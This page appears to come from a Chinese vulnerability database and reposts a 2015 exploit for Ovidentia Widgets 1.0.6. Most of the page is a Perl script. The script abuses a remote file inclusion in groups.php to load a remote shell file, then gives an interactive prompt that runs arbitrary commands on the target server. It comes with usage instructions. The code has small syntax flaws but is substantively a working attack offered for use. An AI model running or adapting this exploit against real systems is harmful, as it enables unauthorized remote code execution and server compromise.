Ovidentia Widgets RCE Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1040628 漏洞类型
发布时间 2015-12-22 更新时间 2015-12-22
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2015120241
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]
|[!]|
|[!]| Exploit Title : Ovidentia Widgets RCE Vulnerability
|[!]|
|[!]| Exploit Author : 4TT4CK3R
|[!]|
|[!]| Date : 2015/12/20
|[!]|
|[!]| Google Dork : No
|[!]|
|[!]| Home Page : http://ovidentia.org
|[!]|
|[!]| Tested on : Kali linux , Windows 8.1
|[!]|
|[!]| Vulnerable Version : 1.0.6
|[!]|
|[!]| Just for : CyberPolice
|[!]|
|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]


Script :
=========================================================================================
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;
 
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}
 
&clear();
 
sub 4TT4CK3R {
print "Ovidentia Widgets 1.0.6 RCE Vulnerability\n";
print "Sploit:\n";
print "$0 -v "http://[target]/path/programs/" -shellcode "http://[target]/shell.txt?"\n\n";
exit();
}
 
my $a = GetOptions (
'v=s'          => $v,
'shellcode=s'   => $shellcode
);
 
&4TT4CK3R unless ($v);
&4TT4CK3R unless ($shellcode);
 
&4TT4CK3R if $4TT4CK3R eq 1;
 
chomp($v);
chomp($shellcode);
 
while (){
 
print "[shellcode]:~$ ";
chomp($cmd=<STDIN>);
 
if ($cmd eq "exit" || $cmd eq "quit") {
exit 0;
}
my $agent = LWP::UserAgent->new;
$in="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
chomp($in);
my $a = $v ."/widgets-1-0-61/programs/groups.php?GLOBALS[babInstallPath]=" . $shellcode . $in;
chomp $a;
my $request = HTTP::Request->new(Get => $a);
my $resource = $agent->request($request);
my $content = $resource->content;
if ($resource->is_success){
print $1,"\n" if ($content =~ m/readonly> (.*?)</textarea>/mosix);
}
 
else
{
print "EXPLOIT FAILURE\n";
exit(1);
}
}
=========================================================================================
|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]
|[!]|
|[!]| Discovered and Exploited by : 4TT4CK3R
|[!]| Special Thanks for : Mahdieh
|[!]| Registered for : CyberPolice
|[!]|
|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]